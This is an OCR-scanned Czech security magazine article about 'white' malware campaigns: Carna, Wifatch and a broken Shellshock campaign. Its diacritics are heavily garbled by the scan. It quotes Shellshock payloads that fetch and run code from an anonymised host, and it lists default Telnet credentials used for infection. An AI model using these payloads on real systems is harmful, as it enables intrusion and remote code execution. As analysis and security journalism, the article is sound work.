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Kybernetické Gtoky jsou v souc¢asnosti pro vétsinu organizaci s rozsahlejsi
IT infrastrukturou na dennim poiadku. Bez nadsazky je dokonce moZné
fici, ze pokud néktera organizace provozuje k internetu pfipojeny webovy
server a neni si zadnych atok( védoma, je to proto, Ze dostatecneé
nezkouma provoz, ktery na dany server tece. Kromé tradicnich Utokd se
ale obgas miizeme setkat také s bezpe&nostnimi incidenty zpisobenymi
malwarem, ktery Gplné nespliiuje definici $kodlivého kddu. Ackoliv pouziva
nepovolené techniky k proniknuti do zafizeni, tak nezptsobuje zadnou
&kodu nebo je dokonce konstruovan s cilem pomahat. Tento ,bily*
malware je sice pomérné vzacny a bez dalsich nasledkd, ani to ale neni
divod k tomu, abyste si ho poustéli k télu.

Ctri-C, Ctrl-V utoky

At uz je cilem sifovych dtoki ovladnuti zafi-
zeni nebo jejich infikace skodlivym kodem,
vétsina z nich, pomineme-li volumetrické DoS
ltoky, je zaloZend na pokusu o vyuZiti delsi
dobu znamych zranitelnosti. A co je alarmu-
jici, v nékterych piipadech i nékolik let znd-
mych zranitelnosti. Byt za utoky tohoto typu
stoji velké mnoZstvi (to¢nikil - jednotlived

i skupin - vyuZivajicich mnoho riiznych botne-
111, jen velmi zFidka lze najit Gtok, ktery by byl
néjakym zpiisobem vyjimecny. Pfi Gtoénych
kampanich jsou zpravidla uZivany stejn€é po-
stupy vyuZiti zranitelnosti i stejné nebo velmi
podobné druhy skodlivého kodu. Z pohledu
obrance jsou tak jednotlivé kampané mnohdy
téméf nerozeznatelné.

Cas od casu je viak mozné setkat se s itoc-
nou kampani, kterd vycniva z onoho Sedého
priméru. Vétsinou jde o sofistikované APT
hrozby, které jsou schopny napachat na cilo-
vych systémech citelné skody. Neni tomu tak
ale vzdy. Byt se jedna spige o vjjimku, obcas
se objevi kampafi, kterd je zvlaStni tim, Ze se
nachdzi na pomyslném druhém konci spektra
nebezpecnosti od tradiénich toka. At uZ jde na
strané tviircl v pfipadé konkrétnich kampani
o chybu nebo zdmér, neprovadeji jejich , itoky™
na cilovych strojich Zadné skodlivé akce. V né-
kterych pFipadech dokonce zplisobuji zmény,
které vedou k jejich lepSimu zabezpeceni.
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Carna

Jedna takova netradicni ,Gtocna" kampaii, je
znamé pod jménem Carna, nebo také Internet
Census 2012. V rdmci této kampane se ano-
nymni autor rozhodl skenovat cely [Pvd adresni
rozsah a ziskat tak data o vyuZitych IP adresich
a na nich dostupnych zafizenich. Skeny mély
byt primarné provadény pomoci ICMP echo
po7adavki a TCP SYN a ACK paketil zasilanych
na ur¢ité piedem zvolené porty. Vzhledem

k velikosti cilového prostoru (cca 4,3 miliardy
adres) se zminény nezndmy autor rozhodl pro
skenovani sestavit masivni distribuovany sitovy
skener. Tento botnet byl tvofen nezabezpede-
nymi zafizenimi pfipojenymi k internetu (zafi-
zenimi s otevienym TCP portem 23 a umoziiuji-
cim vzdaleny login pomoci Telnetu).

Za icelem sestaveni botnetu vytvofil autor
pro nékolik platforem aplikaci s obdobnou
funkei. Primarnim cilem byly stroje s rizny-
mi variantami operacniho systému Linux,
nicméné zimérem bylo vyuzit pro skenovani
i jednodussi zafizeni. Vytvofeny , malware”
byl nasledné systematicky nahrdvan na cilova
zafizeni. Bot se po odhaleni potencialni nové
hostitelské platformy pokusil k ni pfihlasit
$ vyuzitim nékolika malo jednoduchych
piihlagovacich jmen a hesel (admin:admin,
root:root, apod.). V pfipadé tspéchu na-
hral aplikaci distribuovaného skeneru do
paméli zafizeni a nasledné ji spustil. Timto

zplisobem se botnet, oznaceny svym autorem
Carna, velmi aspésné rozrostl a v dobé vlastn;
realizace skend v pribéhu roku 2012 jej tvofi-

lo piiblizné 420 tisic zafizeni.

Nestéka a nekouse

Zaméarem tvirce uvedeného botnetu bylo
vyuzit oteviena zafizeni pouze pro ucely ske-
novéni a pokusit se pfi tom nijak neomezovat
jejich béznou funkei. Aplikace distribuova-
ného skeneru tak na cilovych strojich byla
spouiténa s minimdlni prioritou a skeny byly
provadény rychlosti, ktera na vypocetni zdro-
je zafizeni ani datovou linku nekladla vétsi
naroky. Dezinfekce nakazenych stroji byla na-
vic velmi jednoducha - aplikace se nachdzela
pouze v opera¢ni paméti a pro jeji odstranéni
tak stacilo nakaZené zafizeni restartovat.

S ohledem na zamér tviirce distribuovaného
skeneru je zejmé, Ze pro samotné skenovani
na infikovanych zafizenich zpravidla nebylo
nutné jakkoli zasahovat do konfigurace. V pod-
staté jedinou vijimkou, kdy aplikace Carna do
konfigurace zasahovala, byl pfipad, kdy byla na
zafizeni nové pripojeném do botnetu nelezena
predchozi infekce malwarem Aidra. Ten sdruzo-
val nakazena zafizeni do vlastniho botnetu a né
sledné z nich spoustél DDoS ttoky. Pfi odhaleni
jmenované infekce vypnula Carna na zafizeni
pristup pomoci Telnetu a provedla nékolik dal-
gich drobnych konfiguracnich zmén, v disledku
geho? bylo zamezeno dalimu vyuZiti zafizeni
botnetem Aidra. Pro iplnost je vhodné zminit,
#e v soucasnosti existuje malware zndmy jako
New Aidra, ktery ma uréitou vazbu na pivodni
vjie jmenovany malware a rovnéz na cerv Miral.

Pfestoze popsana kampari vyuZivala bez
védomi vlastnikd zafizeni jejich vipocetni
zdroje a piipojeni k internetu a nachazi se
tak minimalné v pomysiné etické Sedé zong,
je nutné konstatovat, Ze rozhodné nezapada
do kategorie tradi¢ni itoéné internetové
kampané. A to zejména s ohledem na jeji
minimaln{ negativni dopady, skutecnost, Ze
na nékterch zafizenich provadéla hardening
a na unikétni a volné publikovany vystup z ce-
Iého skenu (viz https://internetcensus2012.
bitbucket.io/paper.html).

Wifatch

Do kolonky tradi¢nich titoki nezapada ani
dalsi kampaii, ktera zaslouZi alespon kratkou
zminku. Ke konci roku 2014 se zacaly v od-
bornjch médiich objevovat prvni zminky

o malwaru Linux.Wifatch: Infikoval routery
adalsi ,chytra® zafizeni postavend na platfor-
mé Linux a sdruzoval je do P2P botnetu, jehoZ
prostiednictvim nasledné probihala distribucé
updatt. K6d éervu Wifatch, znamého také jako
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Reincarna, byl vytvofen v jazyce Perl a byl po-
mérné sofistikovany. A to pfesto, Ze pro infekci
zafizeni pouzival pfevazné obdobou jednodu-
chou techniku, jako vyse uvedeny skener Carna
(tedy pfipojeni pomoci Telnetu a prolomeni
slabého/defaultniho hesla). Ke kanci roku 2015
bylo do botnetu Wifatch dle dostupnych dat
pripojeno nékolik desitek tisic zafizeni.

Lécivy malware
AZ do této faze chovani cervu plné odpovida
tradiénimu malwaru, ktery cili na k internetu
pfipojend zafizeni. Kde se viak Wifatch lisil
od pfevazné vétsiny jinych Cervd, byla ab-
sence jakéhokoli Skodlivého payloadu (tedy
neseného kadu, ktery by provadél jakoukoli
skodlivou akei). Naopak, nesené rutiny zpiiso-
bovaly na nakaZeném zafizeni pozitivni zmé-
ny - odstranovaly z n€j pfipadnou jinou exis-
tujici infekci a blokovaly moZnost pfistupu
k zafizeni pomoci Telnetu (vzhledem k tomu,
ie uvedeny pfistup byl v dlisledku aspésného
rozsifeni Wifatch na zafizeni prokazatelné
nezabezpeceny). P¥i pokusu o pfipojeni k za-
fizeni navic zobrazovaly uZivateli zpravu o za-
blokovéni pristupu pres Telnet pro zabranéni
dalsi infekce a doporucovaly provedeni zmény
hesla a updatu firmwaru daného zafizeni.
Poté, co se malwaru dostalo vétsiho zajmu
ze strany odborné vefejnosti, publikovali
autofi Wifatch zdrojovy kod cervu spolu s vy-
svétlenim motivace, ktera za infekcemi ne-
chranénych zafizeni stala (viz https://gitlab.
com/ravTteif/linux.wifatch). Dle vyjadfeni
svych tviircli byl éerv vytvofen se zimérem
zvysit bezpecnost nakazenych zafizeni. Pro
tiplnost je vhodné uvést, ze autofi Wifatch
se dle vlastnich slov nechali inspirovat jiz
zminénym botnetem Carna - zde ma kofeny
 alternativni oznaceni ¢ervu (Reincarna).
Stejné jako v pFipadé Carna, i kampai Sifici
Wifatch se nachézi v eticky minimalné problema-
tické oblasti - bezpochyby se nejednalo o ¢isté
pozitivni akci, rozhodné viak ani nezapada mezi
klasické kybernetické toky, které svému cili
Skodi, Mezi tradicni Skodlivé itoky nezapada ani
ten nasledujici, byt z jiného divodu, neZ je tomu
u obou kampani popsanych vyse.

Shelishock

Shellshock nebo také BashDoor, je soubor
zranitelnosti v shellu Bash, zvefejnény 12. zafi
2014 a dodnes je mozné setkat se na internetu
s Utoky, které jej vyuzivaji. Provedeni dtoku

s vyuZitim Shellshocku je totiz velmi jedno-
duché, Na cil staci zaslat urcitou sekvenci
znaki, nasledovanou spustitelnym kédem,

a v pfipadé, Ze cil je zranitelny, ke spusténi
zaslaného kodu automaticky dojde. Napfiklad

ww SystemOnLine.cz

zaslani nasledujiciho kodu by na zranitelném
stroji zpisobilo stazeni aplikace z IP adresy
%.X.X.X a ndsledné jeji spudténi.

(O { :;}; /bin/bash - \“ed /tmp;wget http://
x.x.x.x/aplikace; perl /tmp/aplikace"”

Vétsina atoénych kampani, které Shellshock
vyuzivaly, cilila na webové servery a fungovala
na stejném velmi jednoduchém principu, jaky
vyuzivd vi3e uvedend ukazka, tedy obsaho-
valy kod, ktery zplisoboval staZeni a spusténi
Skodlivé aplikace. Na cilovy stroj byl pfi téchto
litocich vétdinou kod zasilin v HTTP pozadavku
v poli User-Agent. V§jimkou z této tradicni stra-
tegie nebyla ani kampan YOUR_URL_HERE,
ktera probihala od 23. 7. 2016 do 4. 8. 2016.

Pro tuto kampaii (to¢nici pouZili relativné
maly botnet, tvofeny nékolika desitkami aZ
stovkami zombii z celého svéta (alespoii soudé
dle detekovanych [P adres utoéicich strojit),
ajejich cile byly geograficky riznorodé. V cem
se uvedend kampai lisila od vétsiny ostatnich,
byl zasilany odkaz pro stazeni aplikace z Gtoéni-
kova serveru, a to ve dvou ohledech.

Chyba nebo originalni
promo

Tradi¢né Gtocnici uzivaji v rdmci jedné Shell-
shockové kampané URL obsahujici doménova
jména, nebo vétsi mnoZstvi relativné rychle
se ménicich IP adres, z nichZ maji cilové
stroje moznost skodlivou aplikaci stahnout.

V pfipadé vyfazeni jedné IP adresy tak nikdy
nedojde k zastaveni celé itocné kampané. Po
celou dobu trvani diskutované kampané vsak
pfevaZna vétsina pozadavki odkazovala na
jedinou [P adresu, resp. jediné URL. Dalsim
specifikem kampané YOUR_URL_HERE byla
skutecnost, Ze na cilovych strojich neprové-
déla Zadné skodlivé akce. Na rozdil od vy3e
popsanych ¢ervii Carna a Wifatch v3ak v pri-
padé tohoto itoku téméf jisté neslo o nevinny
zamér jeho tviircl. Divod pro benignost této
kampané (i pro oznaceni YOUR_URL_HERE,
které jsme pro ni pouZili), je zfejmy z niZe
uvedené ukazky realného dtoku. Jedinymi
provedenymi zménami v ukdzce byly dprava
formétovéni pro lepdi ¢itelnost a anonymizace
(x.x.x.x) [P adresy serveru.

User-Agent: () { :;};/usr/bin/perl -e
print ,,Content-Type: text/plain\r\n\r\
nXSUCCESS!*;

system(,,

wget http://x.x.x.x/YOUR_URL_HERE;
curl -0 http://x.x.x.x/YOUR_URL_HERE;
fetch http://x.x.x.x/YOUR_URL_HERE
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URL kong¢ici textem /YOUR_URL_HERE je
na prvni pohled pfinejmensim podivna a ziej-
mé nikoho nepfekvapi, Ze v dobé, kdy byla
kampaii aktivni, neodkazovala nejen na zadny
spustitelny kdd ale ani jiny dokument. Na

cilovych strojich tak popsany itok nezpiisobo-

val Zadné Skody bez ohledu na to, zda byly ¢i
nebyly zranitelné.

S piihlédnutim k URL, obsazeném v zasi-
lanych poZadavcich, se jako vysoce pravdé-
podobny davod nefunkénosti dtoku nabizi
moZnost, Ze autor kampané nemél mnoho
zkuSenosti s programovanim a pouzil pro jeji
implementaci ukdzkovy kod. V ném pak ne-
vhodné upravil ¢ast odkazujici na cilové URL.
Jak vyplynulo z pozdéjsi analyzy, nékteré stro-
je zapojené do kampané YOUR_URL_HERE
se ve stejné dobé podilely na jinych dtocich.
Vzhledem k tomu je tak rovnéz moizné (byt
podstatné méné pravdépodobné), Ze se jed-
nalo pouze o velmi originalni marketingovou
kampan ve smyslu sifeni zprdvy I have a bot-
net for rent - Your URL could be here!”.

»Bilych* Gtoku je
minimum

Predlozeny text nepostihuje zdaleka viechny
litoky bez negativnich dopad, k nimZ na in-
ternetu dochazelo a dochdzi. Dalsi zminku by
zaslouzila napfiklad kampan aktudlni v dobé
psani tohoto ¢lanku, v rdmci niZ anonymni
skupina ¢i jednotlivec pronika do databazi
Apache Cassandra, které jsou pfistupné
online, a zanechava v nich zpravu informujici
jejich administratory, Ze dané databéze jsou
nezabezpecené. Jako ukédzka toho, Ze takové
atoky se vyskytuji, by tento clének nicméné
mél byt postacujici. A byt ve vétsiné pfipadu
byvé neskodnost nékterych utoénych kam-
pani zplsobend nezdmérnou chybou jejich
tviirct a jen minimum z nich je spousténo

s dobrym dmyslem, je dobré si uvédomovat,
Ze 1 takové kampané se ¢as od ¢asu objevi.
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